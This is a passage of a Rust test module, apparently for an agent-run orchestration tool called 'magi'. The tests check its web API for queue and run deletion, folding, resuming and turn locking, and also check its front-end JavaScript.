19627 .0;
19628 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
19629 .await
19630 .unwrap()
19631 .0;
19632 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
19633 eprintln!(
19634 "DELTA_PAYLOAD {}",
19635 serde_json::json!({
19636 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
19637 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
19638 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
19639 "counts": [queue.len(), runs.len(), talks.len()],
19640 "blocked": queue_delta.len() - 1,
19641 })
19642 );
19643 }
19644
19645 #[test]
19646 fn runs_revision_moves_when_deleting_an_older_run() {
19647 let temp = TempDir::new().expect("tempdir");
19648 let runs = temp.path().join("runs");
19649 std::fs::create_dir_all(&runs).expect("create runs dir");
19650
19651 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
19652
19653 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
19654 std::thread::sleep(Duration::from_millis(10));
19655 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
19656
19657 let rev_before = runs_revision(&runs);
19658 assert!(rev_before > 0);
19659
19660 let old_dir = runs.join("20260901-100000-old1");
19661 std::fs::remove_dir_all(&old_dir).expect("remove old run");
19662
19663 let rev_after = runs_revision(&runs);
19664 assert_ne!(
19665 rev_before, rev_after,
19666 "deleting an older run must change the revision so other clients see the deletion"
19667 );
19668 }
19669
19670 fn write_state(runs: &FsPath, state: &RunState) {
19675 let dir = runs.join(&state.id);
19676 std::fs::create_dir_all(&dir).expect("run dir");
19677 std::fs::write(
19678 dir.join("run.json"),
19679 serde_json::to_string_pretty(state).expect("serialize run"),
19680 )
19681 .expect("write run.json");
19682 }
19683
19684 #[test]
19689 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
19690 let temp = TempDir::new().expect("tempdir");
19691 let runs = temp.path().join("runs");
19692 std::fs::create_dir_all(&runs).expect("create runs dir");
19693 let mut state = RunState::new(
19694 PathBuf::from("/repo/magi"),
19695 "main".to_owned(),
19696 "0123456789abcdef".to_owned(),
19697 "task".to_owned(),
19698 Config::default(),
19699 );
19700 state.id = "20260902-100000-c0de".to_owned();
19701 write_state(&runs, &state);
19702
19703 let rev_idle = runs_revision(&runs);
19704 std::thread::sleep(Duration::from_millis(10));
19705 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
19706 write_state(&runs, &state);
19707 let rev_started = runs_revision(&runs);
19708 assert_ne!(
19709 rev_idle, rev_started,
19710 "a seat starting must move the revision"
19711 );
19712
19713 std::thread::sleep(Duration::from_millis(10));
19714 state.seat_finished("judge-1");
19715 write_state(&runs, &state);
19716 let rev_finished = runs_revision(&runs);
19717 assert_ne!(
19718 rev_started, rev_finished,
19719 "and clearing it again must move the revision a second time"
19720 );
19721 }
19722
19723 #[tokio::test]
19724 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
19725 let fx = Fixture::start().await;
19730 let q = fx.queue();
19731
19732 let mut t = Task::new(
19733 "Task".to_owned(),
19734 "Instruction".to_owned(),
19735 PathBuf::from("/repo"),
19736 Source::Human,
19737 );
19738 t.block(
19739 vec!["20260101-000000-dead".to_owned()],
19740 Some("waiting on Task 1".to_owned()),
19741 );
19742 t.answers.push(crate::queue::AnsweredQuestion {
19743 question: "Which backend?".to_owned(),
19744 answer: "SQLite".to_owned(),
19745 });
19746 q.put(&mut t).expect("put t");
19747
19748 let res = fx.get("/api/queue").await;
19749 assert_eq!(res.status, 200);
19750 let list = res.json();
19751 let view = list
19752 .as_array()
19753 .expect("array")
19754 .iter()
19755 .find(|v| v["id"] == t.id)
19756 .expect("task in list");
19757 assert_eq!(view["status_str"], "blocked");
19758 assert_eq!(
19759 view["blocked_by"],
19760 serde_json::json!(["20260101-000000-dead"])
19761 );
19762 assert_eq!(view["block_reason"], "waiting on Task 1");
19763 assert_eq!(view["answers"][0]["question"], "Which backend?");
19764 assert_eq!(view["answers"][0]["answer"], "SQLite");
19765
19766 let res = fx
19770 .post(&format!("/api/queue/{}/hold", t.short()), None)
19771 .await;
19772 assert_eq!(res.status, 200);
19773 let held = res.json();
19774 assert_eq!(held["status_str"], "held");
19775 assert_eq!(held["blocked_by"], serde_json::json!([]));
19776 assert!(held["block_reason"].is_null());
19777 assert_eq!(held["answers"][0]["answer"], "SQLite");
19778 }
19779
19780 #[tokio::test]
19781 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
19782 let fx = Fixture::start().await;
19783 let q = fx.queue();
19784 let mk = |title: &str| {
19785 Task::new(
19786 title.to_owned(),
19787 "Instruction".to_owned(),
19788 PathBuf::from("/repo"),
19789 Source::Human,
19790 )
19791 };
19792 let mut root = mk("root");
19793 root.hold_manual(Some("waiting".to_owned()));
19794 q.put(&mut root).unwrap();
19795 let mut mid = mk("mid");
19796 mid.block(vec![root.id.clone()], None);
19797 q.put(&mut mid).unwrap();
19798 let mut leaf = mk("leaf");
19799 leaf.block(vec![mid.id.clone()], None);
19800 q.put(&mut leaf).unwrap();
19801
19802 let list = fx.get("/api/queue").await.json();
19803 let find = |id: &str| {
19804 list.as_array()
19805 .unwrap()
19806 .iter()
19807 .find(|v| v["id"] == id)
19808 .unwrap()
19809 .clone()
19810 };
19811 let leaf_view = find(&leaf.id);
19812 assert_eq!(
19813 leaf_view["waits_on"],
19814 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
19815 );
19816 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
19817 assert_eq!(
19818 find(&mid.id)["waits_on"],
19819 serde_json::json!([format!("{} (held)", root.short())])
19820 );
19821 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
19822 }
19823
19824 #[tokio::test]
19825 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
19826 let fx = Fixture::start().await;
19827 let q = fx.queue();
19828
19829 let mut t1 = Task::new(
19831 "Task 1".to_owned(),
19832 "Instruction 1".to_owned(),
19833 PathBuf::from("/repo"),
19834 Source::Human,
19835 );
19836 let run_id = "20260901-000000-r111";
19837 t1.runs.push(run_id.to_owned());
19838 write_run(&fx.runs(), run_id, RunStatus::Merged);
19839 q.put(&mut t1).expect("put t1");
19840
19841 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
19843 assert_eq!(res.status, 204);
19844 assert!(res.body.is_empty(), "204 No Content has no body");
19845 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
19846 assert!(
19847 fx.runs().join(run_id).exists(),
19848 "run directory must not be deleted when its task is deleted"
19849 );
19850
19851 let mut t2 = Task::new(
19853 "Task 2".to_owned(),
19854 "Instruction 2".to_owned(),
19855 PathBuf::from("/repo"),
19856 Source::Human,
19857 );
19858 t2.status = TaskStatus::Running;
19859 q.put(&mut t2).expect("put t2");
19860 let mut beat = crate::daemon::Status::new();
19861 beat.current = vec![crate::daemon::Current {
19862 task: t2.id.clone(),
19863 run: "20260901-000000-r222".to_owned(),
19864 }];
19865 beat.updated_at = jiff::Timestamp::now();
19866 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19867 .expect("publish a heartbeat");
19868 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
19869 assert_eq!(res.status, 409);
19870 assert!(
19871 res.json()["error"]
19872 .as_str()
19873 .unwrap()
19874 .contains("live daemon")
19875 );
19876 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
19877
19878 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
19884 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19885 .expect("leave a stale heartbeat");
19886 let mut t3 = Task::new(
19887 "Task 3".to_owned(),
19888 "Instruction 3".to_owned(),
19889 PathBuf::from("/repo"),
19890 Source::Human,
19891 );
19892 t3.status = TaskStatus::Running;
19893 q.put(&mut t3).expect("put t3");
19894 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
19895 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
19896 assert_eq!(res.status, 204);
19897 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
19898 assert!(
19899 q.claim(&t3.id).is_ok(),
19900 "the stale lock went with it, so the id is claimable again"
19901 );
19902
19903 let res = fx.delete("/api/queue/nonexistent").await;
19905 assert_eq!(res.status, 404);
19906 }
19907
19908 #[tokio::test]
19909 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
19910 let fx = Fixture::start().await;
19911 let runs = fx.runs();
19912
19913 let run_id = "20260901-000000-fold";
19915 let mut state = RunState::new(
19916 PathBuf::from("/repo"),
19917 "main".to_owned(),
19918 "abc".to_owned(),
19919 "instruction".to_owned(),
19920 Config::default(),
19921 );
19922 state.id = run_id.to_owned();
19923 state.status = RunStatus::Merged;
19924 state.candidates.push(crate::run::Candidate {
19925 index: 0,
19926 label: 'A',
19927 agent: "a".to_owned(),
19928 branch: "b".to_owned(),
19929 worktree: PathBuf::from("/w"),
19930 summary: String::new(),
19931 stat: String::new(),
19932 files: 1,
19933 commits: 1,
19934 empty: false,
19935 failed: None,
19936 verified_noop: None,
19937 duration_ms: 0,
19938 folded: true,
19939 });
19940 let dir = runs.join(run_id);
19941 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
19942 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
19943 .expect("write artifact");
19944 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
19945 .expect("write run.json");
19946
19947 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
19949 assert_eq!(res.status, 204);
19950 assert!(res.body.is_empty(), "204 has no body");
19951 assert!(!dir.exists(), "run directory and artifacts must be deleted");
19952
19953 let run_running = "20260901-000000-rung";
19958 write_run(&runs, run_running, RunStatus::Prep);
19959 let mut beat = crate::daemon::Status::new();
19960 beat.current = vec![crate::daemon::Current {
19961 task: "20260901-000000-task".to_owned(),
19962 run: run_running.to_owned(),
19963 }];
19964 beat.updated_at = jiff::Timestamp::now();
19965 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
19966 .expect("publish a heartbeat");
19967 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
19968 assert_eq!(res.status, 409);
19969 assert!(
19970 res.json()["error"]
19971 .as_str()
19972 .unwrap()
19973 .contains("live daemon"),
19974 "the refusal must say who is holding it"
19975 );
19976 assert!(
19977 runs.join(run_running).exists(),
19978 "a run in flight keeps its directory"
19979 );
19980
19981 let run_unfolded = "20260901-000000-unfd";
19983 let mut state2 = RunState::new(
19984 PathBuf::from("/repo"),
19985 "main".to_owned(),
19986 "abc".to_owned(),
19987 "instruction".to_owned(),
19988 Config::default(),
19989 );
19990 state2.id = run_unfolded.to_owned();
19991 state2.status = RunStatus::Ready;
19992 state2.candidates.push(crate::run::Candidate {
19993 index: 0,
19994 label: 'A',
19995 agent: "a".to_owned(),
19996 branch: "b".to_owned(),
19997 worktree: PathBuf::from("/w"),
19998 summary: String::new(),
19999 stat: String::new(),
20000 files: 1,
20001 commits: 1,
20002 empty: false,
20003 failed: None,
20004 verified_noop: None,
20005 duration_ms: 0,
20006 folded: false,
20007 });
20008 let dir2 = runs.join(run_unfolded);
20009 std::fs::create_dir_all(&dir2).expect("create dir2");
20010 std::fs::write(
20011 dir2.join("run.json"),
20012 serde_json::to_string(&state2).unwrap(),
20013 )
20014 .expect("write run.json");
20015
20016 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
20017 assert_eq!(res.status, 409);
20018 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
20019 assert!(dir2.exists(), "unfolded run directory is kept");
20020
20021 let res = fx.delete("/api/runs/nonexistent").await;
20023 assert_eq!(res.status, 404);
20024 }
20025
20026 #[test]
20035 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
20036 let start = APP_JS
20037 .find("function renderStats() {")
20038 .expect("renderStats");
20039 let end = start
20040 + APP_JS[start..]
20041 .find("function statsTile(")
20042 .expect("the next top-level function");
20043 let body = &APP_JS[start..end];
20044
20045 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
20046 let gate_end = gate_start
20047 + body[gate_start..]
20048 .find("}\n renderStatsQueue")
20049 .expect("the gate's own closing brace, right before the unconditional call");
20050 let gated = &body[gate_start..gate_end];
20051
20052 assert_eq!(
20053 body.matches("renderStatsQueue(").count(),
20054 1,
20055 "renderStats must call renderStatsQueue exactly once: {body}"
20056 );
20057 assert!(
20058 !gated.contains("renderStatsQueue"),
20059 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
20060 run-derived panels on an empty run history - the queue panel has to render \
20061 regardless: {gated}"
20062 );
20063 }
20064
20065 #[test]
20066 fn web_ui_delete_contract_in_front_end() {
20067 assert!(APP_JS.contains("deleteRun:"));
20069 assert!(APP_JS.contains("deleteTask:"));
20070
20071 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
20073 ..APP_JS.find("function renderRuns").unwrap()];
20074 assert!(!run_cards_slice.to_lowercase().contains("delete"));
20075
20076 assert!(APP_JS.contains("renderRunDelete"));
20078 assert!(APP_JS.contains("runDeleteReason"));
20079 assert!(APP_JS.contains("magi fold"));
20080 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
20081
20082 assert!(APP_JS.contains("cancel.focus"));
20084 assert!(APP_JS.contains("armedRunDelete"));
20085 assert!(APP_JS.contains("renderTaskDeleteBox"));
20086 assert!(APP_JS.contains("armed${cap(key)}"));
20087
20088 assert!(APP_JS.contains("disabled: status === \"running\""));
20090 }
20091
20092 #[test]
20112 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
20113 let build = APP_JS
20114 .find("function createRunCard")
20115 .expect("createRunCard exists");
20116 let update = APP_JS
20117 .find("function updateRunCard")
20118 .expect("updateRunCard exists");
20119 let end = APP_JS
20120 .find("function renderRuns")
20121 .expect("renderRuns exists");
20122
20123 let builder = &APP_JS[build..update];
20125 let open = builder.find("refs = {").expect("createRunCard sets refs");
20126 let literal = &builder[open + "refs = {".len()..];
20127 let close = literal.find('}').expect("the refs literal is closed");
20128 let published: HashSet<&str> = literal[..close]
20129 .split(',')
20130 .filter_map(|entry| entry.split(':').next())
20132 .map(str::trim)
20133 .filter(|name| !name.is_empty())
20134 .collect();
20135 assert!(
20136 published.len() > 5,
20137 "the refs literal did not parse into names: {published:?}"
20138 );
20139
20140 let mut used: Vec<&str> = Vec::new();
20143 let updaters = &APP_JS[update..end];
20144 for (at, _) in updaters.match_indices("r.") {
20145 let before = updaters[..at].chars().next_back();
20148 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
20149 continue;
20150 }
20151 let rest = &updaters[at + 2..];
20152 let len = rest
20153 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
20154 .unwrap_or(rest.len());
20155 if len > 0 {
20156 used.push(&rest[..len]);
20157 }
20158 }
20159 assert!(
20160 used.len() > 5,
20161 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
20162 );
20163
20164 let missing: Vec<&str> = used
20165 .iter()
20166 .copied()
20167 .filter(|name| !published.contains(name))
20168 .collect();
20169 assert!(
20170 missing.is_empty(),
20171 "a run card's updater reaches for {missing:?}, which `createRunCard` \
20172 never put in `refs` - every card will throw and the list will \
20173 render empty under a count line that says otherwise. Published: \
20174 {published:?}"
20175 );
20176 }
20177
20178 #[tokio::test]
20179 async fn folding_from_the_phone_reports_what_it_removed() {
20180 let fx = Fixture::start().await;
20181 let runs = fx.runs();
20182
20183 let id = "20260901-000000-fold";
20187 write_run(&runs, id, RunStatus::Stalled);
20188 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20189 assert_eq!(res.status, 200);
20190 assert_eq!(res.json()["removed_count"], 0);
20191 assert_eq!(res.json()["run"], id);
20192 assert!(
20193 runs.join(id).exists(),
20194 "a fold keeps the run's record; only the worktrees go"
20195 );
20196 }
20197
20198 #[tokio::test]
20199 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
20200 let fx = Fixture::start().await;
20201 let runs = fx.runs();
20202 let wt = fx.home.path().join("wt").join("magi").join("dead");
20203 let id = "20260901-000000-dead";
20204 std::fs::create_dir_all(runs.join(id)).expect("run dir");
20205 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20206 std::fs::create_dir_all(&wt).expect("worktree dir");
20207
20208 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20209 assert_eq!(res.status, 200, "{}", res.body);
20210 assert!(
20211 res.json()["removed_count"].as_u64().unwrap() > 0,
20212 "the worktree this build could not read a state for still went"
20213 );
20214 assert!(
20215 !runs.join(id).exists(),
20216 "an unreadable run has no candidate list to fold selectively, so \
20217 the whole record goes - same as `magi fold` on the CLI"
20218 );
20219 }
20220
20221 #[tokio::test]
20222 async fn deleting_an_unreadable_run_removes_it_wholesale() {
20223 let fx = Fixture::start().await;
20224 let runs = fx.runs();
20225 let wt = fx.home.path().join("wt").join("magi").join("gone");
20226 let id = "20260901-000000-gone";
20227 std::fs::create_dir_all(runs.join(id)).expect("run dir");
20228 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
20229 std::fs::create_dir_all(&wt).expect("worktree dir");
20230
20231 let res = fx.delete(&format!("/api/runs/{id}")).await;
20232 assert_eq!(res.status, 204, "{}", res.body);
20233 assert!(!runs.join(id).exists(), "the broken record is gone");
20234 assert!(!wt.exists(), "its worktree is gone too");
20235 }
20236
20237 #[tokio::test]
20238 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
20239 let fx = Fixture::start().await;
20240 let runs = fx.runs();
20241 let id = "20260901-000000-live";
20242 write_run(&runs, id, RunStatus::Implementing);
20243
20244 let mut beat = crate::daemon::Status::new();
20245 beat.current = vec![crate::daemon::Current {
20246 task: "20260901-000000-task".to_owned(),
20247 run: id.to_owned(),
20248 }];
20249 beat.updated_at = jiff::Timestamp::now();
20250 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20251 .expect("publish a heartbeat");
20252
20253 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
20254 assert_eq!(res.status, 409);
20255 assert!(
20256 res.json()["error"]
20257 .as_str()
20258 .unwrap()
20259 .contains("live daemon"),
20260 "folding under a running agent would pull its worktree away"
20261 );
20262 }
20263
20264 #[tokio::test]
20265 async fn fold_merged_requires_a_pr_url() {
20266 let fx = Fixture::start().await;
20267 let runs = fx.runs();
20268 let id = "20260901-000000-nourl";
20269 write_run(&runs, id, RunStatus::Blocked);
20270
20271 let res = fx
20272 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
20273 .await;
20274 assert_eq!(res.status, 400, "{}", res.body);
20275
20276 let blank = fx
20277 .post(
20278 &format!("/api/runs/{id}/fold-merged"),
20279 Some(r#"{"pr_url":" "}"#),
20280 )
20281 .await;
20282 assert_eq!(blank.status, 400, "{}", blank.body);
20283 }
20284
20285 #[tokio::test]
20286 async fn fold_merged_is_404_for_an_unknown_run() {
20287 let fx = Fixture::start().await;
20288 let res = fx
20289 .post(
20290 "/api/runs/nosuchrun/fold-merged",
20291 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20292 )
20293 .await;
20294 assert_eq!(res.status, 404, "{}", res.body);
20295 }
20296
20297 #[tokio::test]
20298 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
20299 let fx = Fixture::start().await;
20300 let runs = fx.runs();
20301 let id = "20260901-000000-livemerge";
20302 write_run(&runs, id, RunStatus::Blocked);
20303
20304 let mut beat = crate::daemon::Status::new();
20305 beat.current = vec![crate::daemon::Current {
20306 task: "20260901-000000-task".to_owned(),
20307 run: id.to_owned(),
20308 }];
20309 beat.updated_at = jiff::Timestamp::now();
20310 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20311 .expect("publish a heartbeat");
20312
20313 let res = fx
20314 .post(
20315 &format!("/api/runs/{id}/fold-merged"),
20316 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20317 )
20318 .await;
20319 assert_eq!(res.status, 409, "{}", res.body);
20320 assert!(
20321 res.json()["error"]
20322 .as_str()
20323 .unwrap()
20324 .contains("live daemon"),
20325 "correcting a run's merge underneath a running agent would race \
20326 whatever it is doing to the same `status`/`merge` fields"
20327 );
20328 }
20329
20330 #[tokio::test]
20335 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
20336 let fx = Fixture::start().await;
20337 let runs = fx.runs();
20338 let id = "20260901-000000-unconfirmed";
20339 write_run(&runs, id, RunStatus::Blocked);
20340
20341 let res = fx
20342 .post(
20343 &format!("/api/runs/{id}/fold-merged"),
20344 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
20345 )
20346 .await;
20347 assert_eq!(res.status, 400, "{}", res.body);
20348 assert_eq!(
20349 read_run(&runs, id).unwrap().status,
20350 RunStatus::Blocked,
20351 "a pull request that could not be confirmed merged must leave \
20352 the run exactly where it was"
20353 );
20354 }
20355
20356 #[tokio::test]
20357 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
20358 let fx = Fixture::start().await;
20359 let runs = fx.runs();
20360
20361 for (status, word) in [
20367 (RunStatus::Merged, "merged"),
20368 (RunStatus::Ready, "ready"),
20369 (RunStatus::Failed, "failed"),
20370 ] {
20371 let id = format!("20260901-000000-{}", &word[..4]);
20372 write_run(&runs, &id, status);
20373 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
20374 assert_eq!(res.status, 409, "{word} must not be resumable");
20375 let err = res.json()["error"].as_str().unwrap().to_owned();
20376 assert!(err.contains(word), "the refusal names the status: {err}");
20377 }
20378
20379 let mid = "20260901-000000-midf";
20384 write_run(&runs, mid, RunStatus::Reviewing);
20385 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
20386 assert_eq!(res.status, 202, "an interrupted run is resumable");
20387 }
20388
20389 #[tokio::test]
20390 async fn resume_is_refused_while_the_loop_is_running() {
20391 let fx = Fixture::start().await;
20392 let runs = fx.runs();
20393 let stalled = "20260901-000000-stal";
20394 write_run(&runs, stalled, RunStatus::Stalled);
20395
20396 let mut beat = crate::daemon::Status::new();
20400 beat.current = vec![crate::daemon::Current {
20401 task: "20260901-000000-task".to_owned(),
20402 run: "20260901-000000-othr".to_owned(),
20403 }];
20404 beat.updated_at = jiff::Timestamp::now();
20405 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20406 .expect("publish a heartbeat");
20407
20408 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
20409 assert_eq!(res.status, 409);
20410 let err = res.json()["error"].as_str().unwrap().to_owned();
20411 assert!(err.contains("othr"), "it names what the loop is on: {err}");
20412 assert!(err.contains("stop it first"), "{err}");
20413 }
20414
20415 #[test]
20416 fn a_run_cannot_be_resumed_twice_at_once() {
20417 let home = TempDir::new().expect("temp home");
20418 let ui = Ui::new(
20419 Queue::at(home.path().join("queue")),
20420 Questions::at(home.path().join("questions")),
20421 Talks::at(home.path().join("talks")),
20422 home.path().join("runs"),
20423 home.path().to_path_buf(),
20424 PathBuf::from("/repo"),
20425 )
20426 .with_worktrees_root(home.path().join("wt"));
20427 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
20428 let again = ui.begin_resume("20260901-000000-once");
20429 assert!(again.is_err(), "a second tap must not start a second graph");
20430 drop(first);
20431 assert!(
20432 ui.begin_resume("20260901-000000-once").is_ok(),
20433 "and the claim is released when the attempt ends"
20434 );
20435 }
20436
20437 #[test]
20438 fn talk_thinking_tracks_only_its_held_turn_claim() {
20439 let home = TempDir::new().expect("temp home");
20440 let ui = Ui::new(
20441 Queue::at(home.path().join("queue")),
20442 Questions::at(home.path().join("questions")),
20443 Talks::at(home.path().join("talks")),
20444 home.path().join("runs"),
20445 home.path().to_path_buf(),
20446 PathBuf::from("/repo"),
20447 )
20448 .with_worktrees_root(home.path().join("wt"));
20449 let id = "20260901-000000-once";
20450
20451 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
20452 let turn = ui.begin_talk_turn(id).expect("claim turn");
20453 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
20454 assert!(
20455 !ui.is_thinking("20260901-000000-other"),
20456 "one talk's turn does not make another talk busy"
20457 );
20458 drop(turn);
20459 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
20460 }
20461
20462 #[test]
20463 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
20464 let home = TempDir::new().expect("temp home");
20465 let talks = Talks::at(home.path().join("talks"));
20466 let ui = Ui::new(
20467 Queue::at(home.path().join("queue")),
20468 Questions::at(home.path().join("questions")),
20469 talks.clone(),
20470 home.path().join("runs"),
20471 home.path().to_path_buf(),
20472 PathBuf::from("/repo"),
20473 )
20474 .with_worktrees_root(home.path().join("wt"));
20475 let id = "20260901-000000-cross";
20476
20477 let other = Talks::at(home.path().join("talks"))
20478 .claim_turn(id)
20479 .expect("claim")
20480 .expect("the other process wins");
20481 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
20482 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
20483 assert!(
20484 matches!(
20485 ui.begin_talk_turn_unless_pending(id).expect("start"),
20486 TalkTurnStart::Foreign
20487 ),
20488 "a foreign holder is refused, not queued behind"
20489 );
20490 assert!(
20491 !ui.talk_turns.lock().unwrap().live.contains(id),
20492 "a refused claim leaves no in-process entry behind"
20493 );
20494 drop(other);
20495 let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
20496 assert!(talks.turn_held(id), "the web turn holds the lease");
20497 drop(turn);
20498 assert!(
20499 !talks.turn_held(id),
20500 "dropping the guard releases the lease"
20501 );
20502 }
20503
20504 fn consult_question(ui: &Ui) -> Question {
20505 let mut q = Question::new(
20506 "20260901-000000-consult".to_owned(),
20507 "implement".to_owned(),
20508 "impl-A".to_owned(),
20509 "Which backend?".to_owned(),
20510 String::new(),
20511 vec!["SQLite".to_owned(), "Redis".to_owned()],
20512 );
20513 ui.questions.put(&mut q).expect("question");
20514 q
20515 }
20516
20517 fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
20518 (
20519 std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
20520 std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
20521 )
20522 }
20523
20524 #[tokio::test]
20525 async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
20526 let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20527 let q = consult_question(&ui);
20528 let talk = ui.talks.get(&id).expect("talk");
20529 let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
20530 let before = consult_snapshot(&ui, &q, &id);
20531 let cli_talks = Talks::at(ui.home.join("talks"));
20532 assert_eq!(
20533 crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
20534 .await
20535 .expect("CLI starter"),
20536 crate::consult::Started::Busy
20537 );
20538 assert_eq!(consult_snapshot(&ui, &q, &id), before);
20539 assert!(ui.is_thinking(&id));
20540 drop(guard);
20541 assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
20542 }
20543
20544 #[tokio::test]
20545 async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
20546 let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
20547 let q = consult_question(&ui);
20548 let talk = ui.talks.get(&id).expect("talk");
20549 let started = tmp.path().join("started");
20550 let release = tmp.path().join("release");
20551 let script = tmp.path().join("consult-agent.sh");
20552 std::fs::write(
20553 &script,
20554 "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
20555 )
20556 .expect("script");
20557 let mut cfg = stub_config();
20558 cfg.agents[0].id = "mock".to_owned();
20559 cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
20560 cfg.agents[0].env = std::collections::BTreeMap::from([
20561 ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
20562 ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
20563 ]);
20564 let questions = ui.questions.clone();
20565 let cli_talks = Talks::at(ui.home.join("talks"));
20566 let cli_q = q.clone();
20567 let turn = tokio::spawn(async move {
20568 crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
20569 });
20570 let ready = tokio::time::timeout(Duration::from_secs(30), async {
20571 while !started.exists() {
20572 tokio::time::sleep(Duration::from_millis(10)).await;
20573 }
20574 })
20575 .await;
20576 let refusal = if ready.is_ok() {
20579 let before = consult_snapshot(&ui, &q, &id);
20580 let result = talk_say(
20581 State(Arc::clone(&ui)),
20582 Path(id.clone()),
20583 Ok(Json(NewTalkTurn {
20584 reply_to: None,
20585 text: "another message".to_owned(),
20586 attachments: Vec::new(),
20587 })),
20588 )
20589 .await;
20590 Some((result, before, consult_snapshot(&ui, &q, &id)))
20591 } else {
20592 None
20593 };
20594 std::fs::write(&release, "").expect("release agent");
20595 let done = turn.await.expect("join CLI turn");
20596 ready.expect("agent started before deadline");
20597 let (result, before, after) = refusal.expect("web request");
20598 let error = result.expect_err("web must refuse the CLI's turn");
20599 assert_eq!(error.status, StatusCode::CONFLICT);
20600 assert!(error.message.contains("a turn is already running"));
20601 assert_eq!(
20602 after, before,
20603 "refusal preserves question, draft and history"
20604 );
20605 assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
